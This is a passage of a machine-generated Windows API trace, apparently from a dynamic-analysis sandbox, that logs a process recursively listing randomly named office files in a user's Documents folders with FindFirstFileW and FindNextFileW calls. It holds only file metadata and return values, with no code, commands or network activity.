ftLastWriteTime.dwLowDateTime=0x8a6d1cc0, ftLastWriteTime.dwHighDateTime=0x1d628d5, nFileSizeHigh=0x0, nFileSizeLow=0x13e12, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAbLavSL4oBkBfEc5.xlsx", cAlternateFileName="TABLAV~1.XLS")) returned 1 [0086.376] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b56540, ftCreationTime.dwHighDateTime=0x1d631f1, ftLastAccessTime.dwLowDateTime=0x45a17da0, ftLastAccessTime.dwHighDateTime=0x1d622d8, ftLastWriteTime.dwLowDateTime=0x45a17da0, ftLastWriteTime.dwHighDateTime=0x1d622d8, nFileSizeHigh=0x0, nFileSizeLow=0xb19, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPunAGSxBKgzeS8IeT k.csv", cAlternateFileName="WPUNAG~1.CSV")) returned 1 [0086.376] FindNextFileW (in: hFindFile=0x1ae50850, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b56540, ftCreationTime.dwHighDateTime=0x1d631f1, ftLastAccessTime.dwLowDateTime=0x45a17da0, ftLastAccessTime.dwHighDateTime=0x1d622d8, ftLastWriteTime.dwLowDateTime=0x45a17da0, ftLastWriteTime.dwHighDateTime=0x1d622d8, nFileSizeHigh=0x0, nFileSizeLow=0xb19, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPunAGSxBKgzeS8IeT k.csv", cAlternateFileName="WPUNAG~1.CSV")) returned 0 [0086.376] FindClose (in: hFindFile=0x1ae50850 | out: hFindFile=0x1ae50850) returned 1 [0086.376] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\q Wd29s3d8TYv\\7LCBJTkEPB9p z1\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2f1e40, ftCreationTime.dwHighDateTime=0x1d62a63, ftLastAccessTime.dwLowDateTime=0x11a48760, ftLastAccessTime.dwHighDateTime=0x1d62ce0, ftLastWriteTime.dwLowDateTime=0x11a48760, ftLastWriteTime.dwHighDateTime=0x1d62ce0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50a90 [0086.377] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb2f1e40, ftCreationTime.dwHighDateTime=0x1d62a63, ftLastAccessTime.dwLowDateTime=0x11a48760, ftLastAccessTime.dwHighDateTime=0x1d62ce0, ftLastWriteTime.dwLowDateTime=0x11a48760, ftLastWriteTime.dwHighDateTime=0x1d62ce0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.377] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99262450, ftCreationTime.dwHighDateTime=0x1d6277c, ftLastAccessTime.dwLowDateTime=0x8a6d1cc0, ftLastAccessTime.dwHighDateTime=0x1d628d5, ftLastWriteTime.dwLowDateTime=0x8a6d1cc0, ftLastWriteTime.dwHighDateTime=0x1d628d5, nFileSizeHigh=0x0, nFileSizeLow=0x13e12, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAbLavSL4oBkBfEc5.xlsx", cAlternateFileName="TABLAV~1.XLS")) returned 1 [0086.377] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63b56540, ftCreationTime.dwHighDateTime=0x1d631f1, ftLastAccessTime.dwLowDateTime=0x45a17da0, ftLastAccessTime.dwHighDateTime=0x1d622d8, ftLastWriteTime.dwLowDateTime=0x45a17da0, ftLastWriteTime.dwHighDateTime=0x1d622d8, nFileSizeHigh=0x0, nFileSizeLow=0xb19, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPunAGSxBKgzeS8IeT k.csv", cAlternateFileName="WPUNAG~1.CSV")) returned 1 [0086.377] FindNextFileW (in: hFindFile=0x1ae50a90, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.377] FindClose (in: hFindFile=0x1ae50a90 | out: hFindFile=0x1ae50a90) returned 1 [0086.377] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\q Wd29s3d8TYv\\Nm-J3dj fnzdqsFk9\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32b55d60, ftCreationTime.dwHighDateTime=0x1d622b5, ftLastAccessTime.dwLowDateTime=0x93fd6c0, ftLastAccessTime.dwHighDateTime=0x1d62ff5, ftLastWriteTime.dwLowDateTime=0x93fd6c0, ftLastWriteTime.dwHighDateTime=0x1d62ff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50370 [0086.377] FindNextFileW (in: hFindFile=0x1ae50370, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32b55d60, ftCreationTime.dwHighDateTime=0x1d622b5, ftLastAccessTime.dwLowDateTime=0x93fd6c0, ftLastAccessTime.dwHighDateTime=0x1d62ff5, ftLastWriteTime.dwLowDateTime=0x93fd6c0, ftLastWriteTime.dwHighDateTime=0x1d62ff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.377] FindNextFileW (in: hFindFile=0x1ae50370, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x224c4150, ftCreationTime.dwHighDateTime=0x1d624bd, ftLastAccessTime.dwLowDateTime=0x461f3c30, ftLastAccessTime.dwHighDateTime=0x1d63099, ftLastWriteTime.dwLowDateTime=0x461f3c30, ftLastWriteTime.dwHighDateTime=0x1d63099, nFileSizeHigh=0x0, nFileSizeLow=0x15d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="ixGl6YM9QEpGli0M_Np.doc", cAlternateFileName="IXGL6Y~1.DOC")) returned 1 [0086.377] FindNextFileW (in: hFindFile=0x1ae50370, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3712a230, ftCreationTime.dwHighDateTime=0x1d62785, ftLastAccessTime.dwLowDateTime=0xd25db070, ftLastAccessTime.dwHighDateTime=0x1d62fc0, ftLastWriteTime.dwLowDateTime=0xd25db070, ftLastWriteTime.dwHighDateTime=0x1d62fc0, nFileSizeHigh=0x0, nFileSizeLow=0x66e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="nL99sdXMy-.xlsx", cAlternateFileName="NL99SD~1.XLS")) returned 1 [0086.377] FindNextFileW (in: hFindFile=0x1ae50370, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3712a230, ftCreationTime.dwHighDateTime=0x1d62785, ftLastAccessTime.dwLowDateTime=0xd25db070, ftLastAccessTime.dwHighDateTime=0x1d62fc0, ftLastWriteTime.dwLowDateTime=0xd25db070, ftLastWriteTime.dwHighDateTime=0x1d62fc0, nFileSizeHigh=0x0, nFileSizeLow=0x66e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="nL99sdXMy-.xlsx", cAlternateFileName="NL99SD~1.XLS")) returned 0 [0086.378] FindClose (in: hFindFile=0x1ae50370 | out: hFindFile=0x1ae50370) returned 1 [0086.378] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\q Wd29s3d8TYv\\Nm-J3dj fnzdqsFk9\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32b55d60, ftCreationTime.dwHighDateTime=0x1d622b5, ftLastAccessTime.dwLowDateTime=0x93fd6c0, ftLastAccessTime.dwHighDateTime=0x1d62ff5, ftLastWriteTime.dwLowDateTime=0x93fd6c0, ftLastWriteTime.dwHighDateTime=0x1d62ff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50730 [0086.378] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32b55d60, ftCreationTime.dwHighDateTime=0x1d622b5, ftLastAccessTime.dwLowDateTime=0x93fd6c0, ftLastAccessTime.dwHighDateTime=0x1d62ff5, ftLastWriteTime.dwLowDateTime=0x93fd6c0, ftLastWriteTime.dwHighDateTime=0x1d62ff5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.378] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x224c4150, ftCreationTime.dwHighDateTime=0x1d624bd, ftLastAccessTime.dwLowDateTime=0x461f3c30, ftLastAccessTime.dwHighDateTime=0x1d63099, ftLastWriteTime.dwLowDateTime=0x461f3c30, ftLastWriteTime.dwHighDateTime=0x1d63099, nFileSizeHigh=0x0, nFileSizeLow=0x15d57, dwReserved0=0x0, dwReserved1=0x0, cFileName="ixGl6YM9QEpGli0M_Np.doc", cAlternateFileName="IXGL6Y~1.DOC")) returned 1 [0086.378] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3712a230, ftCreationTime.dwHighDateTime=0x1d62785, ftLastAccessTime.dwLowDateTime=0xd25db070, ftLastAccessTime.dwHighDateTime=0x1d62fc0, ftLastWriteTime.dwLowDateTime=0xd25db070, ftLastWriteTime.dwHighDateTime=0x1d62fc0, nFileSizeHigh=0x0, nFileSizeLow=0x66e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="nL99sdXMy-.xlsx", cAlternateFileName="NL99SD~1.XLS")) returned 1 [0086.378] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.378] FindClose (in: hFindFile=0x1ae50730 | out: hFindFile=0x1ae50730) returned 1 [0086.378] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\sHXrGywhKp7\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde35c8e0, ftCreationTime.dwHighDateTime=0x1d62e4b, ftLastAccessTime.dwLowDateTime=0xfbac8690, ftLastAccessTime.dwHighDateTime=0x1d62e44, ftLastWriteTime.dwLowDateTime=0xfbac8690, ftLastWriteTime.dwHighDateTime=0x1d62e44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae504f0 [0086.378] FindNextFileW (in: hFindFile=0x1ae504f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde35c8e0, ftCreationTime.dwHighDateTime=0x1d62e4b, ftLastAccessTime.dwLowDateTime=0xfbac8690, ftLastAccessTime.dwHighDateTime=0x1d62e44, ftLastWriteTime.dwLowDateTime=0xfbac8690, ftLastWriteTime.dwHighDateTime=0x1d62e44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae504f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f843010, ftCreationTime.dwHighDateTime=0x1d62bdb, ftLastAccessTime.dwLowDateTime=0xb8cdfb30, ftLastAccessTime.dwHighDateTime=0x1d62767, ftLastWriteTime.dwLowDateTime=0xb8cdfb30, ftLastWriteTime.dwHighDateTime=0x1d62767, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8muQr1TKSNHGe", cAlternateFileName="8MUQR1~1")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae504f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb026900, ftCreationTime.dwHighDateTime=0x1d62e81, ftLastAccessTime.dwLowDateTime=0xde4faa0, ftLastAccessTime.dwHighDateTime=0x1d6283b, ftLastWriteTime.dwLowDateTime=0xde4faa0, ftLastWriteTime.dwHighDateTime=0x1d6283b, nFileSizeHigh=0x0, nFileSizeLow=0x16774, dwReserved0=0x0, dwReserved1=0x0, cFileName="9T iw9TCZd6c.pdf", cAlternateFileName="9TIW9T~1.PDF")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae504f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6521d0, ftCreationTime.dwHighDateTime=0x1d6328a, ftLastAccessTime.dwLowDateTime=0xdaa17860, ftLastAccessTime.dwHighDateTime=0x1d62986, ftLastWriteTime.dwLowDateTime=0xdaa17860, ftLastWriteTime.dwHighDateTime=0x1d62986, nFileSizeHigh=0x0, nFileSizeLow=0x187fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sGakJaW7xmBsC4Hw.docx", cAlternateFileName="SGAKJA~1.DOC")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae504f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90477c0, ftCreationTime.dwHighDateTime=0x1d628f1, ftLastAccessTime.dwLowDateTime=0x6a854e90, ftLastAccessTime.dwHighDateTime=0x1d62377, ftLastWriteTime.dwLowDateTime=0x6a854e90, ftLastWriteTime.dwHighDateTime=0x1d62377, nFileSizeHigh=0x0, nFileSizeLow=0x2dd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WaP-SIFJqXNOi-.xlsx", cAlternateFileName="WAP-SI~1.XLS")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae504f0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90477c0, ftCreationTime.dwHighDateTime=0x1d628f1, ftLastAccessTime.dwLowDateTime=0x6a854e90, ftLastAccessTime.dwHighDateTime=0x1d62377, ftLastWriteTime.dwLowDateTime=0x6a854e90, ftLastWriteTime.dwHighDateTime=0x1d62377, nFileSizeHigh=0x0, nFileSizeLow=0x2dd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WaP-SIFJqXNOi-.xlsx", cAlternateFileName="WAP-SI~1.XLS")) returned 0 [0086.379] FindClose (in: hFindFile=0x1ae504f0 | out: hFindFile=0x1ae504f0) returned 1 [0086.379] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\sHXrGywhKp7\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde35c8e0, ftCreationTime.dwHighDateTime=0x1d62e4b, ftLastAccessTime.dwLowDateTime=0xfbac8690, ftLastAccessTime.dwHighDateTime=0x1d62e44, ftLastWriteTime.dwLowDateTime=0xfbac8690, ftLastWriteTime.dwHighDateTime=0x1d62e44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50730 [0086.379] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde35c8e0, ftCreationTime.dwHighDateTime=0x1d62e4b, ftLastAccessTime.dwLowDateTime=0xfbac8690, ftLastAccessTime.dwHighDateTime=0x1d62e44, ftLastWriteTime.dwLowDateTime=0xfbac8690, ftLastWriteTime.dwHighDateTime=0x1d62e44, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f843010, ftCreationTime.dwHighDateTime=0x1d62bdb, ftLastAccessTime.dwLowDateTime=0xb8cdfb30, ftLastAccessTime.dwHighDateTime=0x1d62767, ftLastWriteTime.dwLowDateTime=0xb8cdfb30, ftLastWriteTime.dwHighDateTime=0x1d62767, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8muQr1TKSNHGe", cAlternateFileName="8MUQR1~1")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb026900, ftCreationTime.dwHighDateTime=0x1d62e81, ftLastAccessTime.dwLowDateTime=0xde4faa0, ftLastAccessTime.dwHighDateTime=0x1d6283b, ftLastWriteTime.dwLowDateTime=0xde4faa0, ftLastWriteTime.dwHighDateTime=0x1d6283b, nFileSizeHigh=0x0, nFileSizeLow=0x16774, dwReserved0=0x0, dwReserved1=0x0, cFileName="9T iw9TCZd6c.pdf", cAlternateFileName="9TIW9T~1.PDF")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6521d0, ftCreationTime.dwHighDateTime=0x1d6328a, ftLastAccessTime.dwLowDateTime=0xdaa17860, ftLastAccessTime.dwHighDateTime=0x1d62986, ftLastWriteTime.dwLowDateTime=0xdaa17860, ftLastWriteTime.dwHighDateTime=0x1d62986, nFileSizeHigh=0x0, nFileSizeLow=0x187fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sGakJaW7xmBsC4Hw.docx", cAlternateFileName="SGAKJA~1.DOC")) returned 1 [0086.379] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa90477c0, ftCreationTime.dwHighDateTime=0x1d628f1, ftLastAccessTime.dwLowDateTime=0x6a854e90, ftLastAccessTime.dwHighDateTime=0x1d62377, ftLastWriteTime.dwLowDateTime=0x6a854e90, ftLastWriteTime.dwHighDateTime=0x1d62377, nFileSizeHigh=0x0, nFileSizeLow=0x2dd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WaP-SIFJqXNOi-.xlsx", cAlternateFileName="WAP-SI~1.XLS")) returned 1 [0086.380] FindNextFileW (in: hFindFile=0x1ae50730, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.380] FindClose (in: hFindFile=0x1ae50730 | out: hFindFile=0x1ae50730) returned 1 [0086.380] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\sHXrGywhKp7\\8muQr1TKSNHGe\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f843010, ftCreationTime.dwHighDateTime=0x1d62bdb, ftLastAccessTime.dwLowDateTime=0xb8cdfb30, ftLastAccessTime.dwHighDateTime=0x1d62767, ftLastWriteTime.dwLowDateTime=0xb8cdfb30, ftLastWriteTime.dwHighDateTime=0x1d62767, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50af0 [0086.380] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f843010, ftCreationTime.dwHighDateTime=0x1d62bdb, ftLastAccessTime.dwLowDateTime=0xb8cdfb30, ftLastAccessTime.dwHighDateTime=0x1d62767, ftLastWriteTime.dwLowDateTime=0xb8cdfb30, ftLastWriteTime.dwHighDateTime=0x1d62767, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.380] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acdfe90, ftCreationTime.dwHighDateTime=0x1d62b8d, ftLastAccessTime.dwLowDateTime=0xc25a4b80, ftLastAccessTime.dwHighDateTime=0x1d625c9, ftLastWriteTime.dwLowDateTime=0xc25a4b80, ftLastWriteTime.dwHighDateTime=0x1d625c9, nFileSizeHigh=0x0, nFileSizeLow=0x29e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ff-OXtKnsa_mt7QVWr_a.xlsx", cAlternateFileName="FF-OXT~1.XLS")) returned 1 [0086.380] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acdfe90, ftCreationTime.dwHighDateTime=0x1d62b8d, ftLastAccessTime.dwLowDateTime=0xc25a4b80, ftLastAccessTime.dwHighDateTime=0x1d625c9, ftLastWriteTime.dwLowDateTime=0xc25a4b80, ftLastWriteTime.dwHighDateTime=0x1d625c9, nFileSizeHigh=0x0, nFileSizeLow=0x29e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ff-OXtKnsa_mt7QVWr_a.xlsx", cAlternateFileName="FF-OXT~1.XLS")) returned 0 [0086.380] FindClose (in: hFindFile=0x1ae50af0 | out: hFindFile=0x1ae50af0) returned 1 [0086.380] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\936-YDa6e2qqw\\sHXrGywhKp7\\8muQr1TKSNHGe\\*.*", lpFindFileData=0x71eb80 | out: lpFindFileData=0x71eb80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f843010, ftCreationTime.dwHighDateTime=0x1d62bdb, ftLastAccessTime.dwLowDateTime=0xb8cdfb30, ftLastAccessTime.dwHighDateTime=0x1d62767, ftLastWriteTime.dwLowDateTime=0xb8cdfb30, ftLastWriteTime.dwHighDateTime=0x1d62767, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50490 [0086.380] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f843010, ftCreationTime.dwHighDateTime=0x1d62bdb, ftLastAccessTime.dwLowDateTime=0xb8cdfb30, ftLastAccessTime.dwHighDateTime=0x1d62767, ftLastWriteTime.dwLowDateTime=0xb8cdfb30, ftLastWriteTime.dwHighDateTime=0x1d62767, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.380] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acdfe90, ftCreationTime.dwHighDateTime=0x1d62b8d, ftLastAccessTime.dwLowDateTime=0xc25a4b80, ftLastAccessTime.dwHighDateTime=0x1d625c9, ftLastWriteTime.dwLowDateTime=0xc25a4b80, ftLastWriteTime.dwHighDateTime=0x1d625c9, nFileSizeHigh=0x0, nFileSizeLow=0x29e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ff-OXtKnsa_mt7QVWr_a.xlsx", cAlternateFileName="FF-OXT~1.XLS")) returned 1 [0086.380] FindNextFileW (in: hFindFile=0x1ae50490, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.380] FindClose (in: hFindFile=0x1ae50490 | out: hFindFile=0x1ae50490) returned 1 [0086.380] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\9Lfd9\\*", lpFindFileData=0x71eb00 | out: lpFindFileData=0x71eb00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x415a640, ftCreationTime.dwHighDateTime=0x1d62328, ftLastAccessTime.dwLowDateTime=0x48310bc0, ftLastAccessTime.dwHighDateTime=0x1d62491, ftLastWriteTime.dwLowDateTime=0x48310bc0, ftLastWriteTime.dwHighDateTime=0x1d62491, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae50610 [0086.381] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x415a640, ftCreationTime.dwHighDateTime=0x1d62328, ftLastAccessTime.dwLowDateTime=0x48310bc0, ftLastAccessTime.dwHighDateTime=0x1d62491, ftLastWriteTime.dwLowDateTime=0x48310bc0, ftLastWriteTime.dwHighDateTime=0x1d62491, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5394c5f0, ftCreationTime.dwHighDateTime=0x1d62e3d, ftLastAccessTime.dwLowDateTime=0x1ef95380, ftLastAccessTime.dwHighDateTime=0x1d630f7, ftLastWriteTime.dwLowDateTime=0x1ef95380, ftLastWriteTime.dwHighDateTime=0x1d630f7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVZq9d8oHy", cAlternateFileName="EVZQ9D~1")) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d02110, ftCreationTime.dwHighDateTime=0x1d62674, ftLastAccessTime.dwLowDateTime=0x570b3a20, ftLastAccessTime.dwHighDateTime=0x1d62e60, ftLastWriteTime.dwLowDateTime=0x570b3a20, ftLastWriteTime.dwHighDateTime=0x1d62e60, nFileSizeHigh=0x0, nFileSizeLow=0x7170, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtahz.pptx", cAlternateFileName="MTAHZ~1.PPT")) returned 1 [0086.381] FindNextFileW (in: hFindFile=0x1ae50610, lpFindFileData=0x71eb30 | out: lpFindFileData=0x71eb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf68f450, 